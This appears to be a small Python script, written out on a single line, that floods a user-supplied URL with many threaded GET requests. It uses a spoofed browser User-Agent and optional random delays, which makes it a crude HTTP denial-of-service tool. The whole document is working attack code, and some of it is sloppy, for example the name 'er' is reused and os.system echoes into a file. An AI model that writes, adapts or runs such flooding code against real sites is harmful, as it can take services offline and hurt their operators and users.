import requests,random,time,os,sys from threading import Thread from tqdm import tqdm er = 0 if __name__ == "__main__":     url = input("URL >")     nb = input("numbers >")     konb = input("konbs >")     how = input("how to ko(ko,tmko)>") headers = {     "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3","Referer":url } def er():     global er     er = er + 1 def ko(headers,url):     global er     if how == "tmko":         time.sleep(random.uniform(0.0001,0.001))     try:         r = requests.get(url,headers=headers)         return 1     except:         print("Warning:Error to send;") if __name__ == "__main__":     for j in tqdm(range(int(konb))):         Thread(target=ko,args=(headers,url)).start()     print("Done one. nmb=%s"%(konb)) for i in tqdm(range(int(nb))):     os.system("echo \%s > out.txt"%ko(headers,url)) print("Done. nmb=%f"%(int(nb) * int(konb))) sys.exit()